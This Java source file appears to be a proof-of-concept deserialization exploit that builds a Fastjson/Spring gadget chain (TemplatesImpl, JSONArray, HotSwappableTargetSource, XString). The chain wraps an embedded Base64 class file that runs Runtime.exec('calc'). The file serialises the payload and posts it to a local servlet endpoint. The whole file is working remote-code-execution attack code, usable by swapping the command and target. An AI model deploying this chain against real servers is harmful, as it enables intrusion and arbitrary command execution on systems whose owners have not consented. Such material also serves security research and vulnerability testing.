content: import com.alibaba.fastjson.JSONArray;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import com.sun.org.apache.xpath.internal.objects.XString;
  import org.springframework.aop.target.HotSwappableTargetSource;
  
  import java.awt.*;
  import java.io.*;
  import java.lang.reflect.Array;
  import java.lang.reflect.Constructor;
  import java.lang.reflect.Field;
  import java.nio.file.Files;
  import java.nio.file.Paths;
  import java.util.*;
  import java.util.List;
  
  public class FastJ {
      public static void main(String[] args) throws Exception {
          TemplatesImpl templates = new TemplatesImpl();
  //        byte[] bytes = Files.readAllBytes(Paths.get("D:/1tmp/classes/CalcAbs.class"));
          String calc = "yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMQ2FsY0FiczsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAMQ2FsY0Ficy5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAB0NhbGNBYnMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==";
          byte[] bytes = Base64.getDecoder().decode(calc);
          setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
          setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
          setFieldValue(templates, "_name", null);
          setFieldValue(templates, "_class", null);
  
  
  
          JSONArray toStringClass = new JSONArray();
          toStringClass.add(templates);
  
          HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(toStringClass);
          HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
          HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
  
          HashMap<Object, Object> hashMap1 = new HashMap<>();
          hashMap1.put(templates, hashMap);
  
          setFieldValue(templates, "_name", "1diot9");
  
          byte[] ser = ser(hashMap1);
          Requests.post("http://127.0.0.1/service/LoginVideoServlet", ser);
  //        deser(ser);
      }
  
      public static void setFieldValue(Object obj, String fieldName, Object value) {
          Class<?> aClass = obj.getClass();
          try{
              Field field = aClass.getDeclaredField(fieldName);
              field.setAccessible(true);
              field.set(obj, value);
          } catch (NoSuchFieldException e) {
              aClass = aClass.getSuperclass();
          } catch (IllegalAccessException e) {
              throw new RuntimeException(e);
          }
      }
  
      public static void deser(byte[] bytes) throws IOException, ClassNotFoundException {
          ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
          ObjectInputStream ois = new ObjectInputStream(bais);
          ois.readObject();
      }
  
      public static byte[] ser(Object obj) throws IOException {
          ByteArrayOutputStream baos = new ByteArrayOutputStream();
          ObjectOutputStream oos = new ObjectOutputStream(baos);
          oos.writeObject(obj);
          oos.close();
          byte[] bytes = baos.toByteArray();
          Files.write(Paths.get("./fastj.bin"), bytes);
          return bytes;
      }
  
      public static HashMap<Object, Object> makeMap (Object v1, Object v2 )
              throws Exception {
          HashMap<Object, Object> s = new HashMap<>();
          setFieldValue(s, "size", 2);
          Class<?> nodeC;
          try {
              nodeC = Class.forName("java.util.HashMap$Node");
          } catch (ClassNotFoundException e) {
              nodeC = Class.forName("java.util.HashMap$Entry");
          }
          Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class,
                  Object.class, Object.class, nodeC);
          nodeCons.setAccessible(true);
          Object tbl = Array.newInstance(nodeC, 2);
          Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
          Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
          setFieldValue(s, "table", tbl);
          return s;
      }
  }
  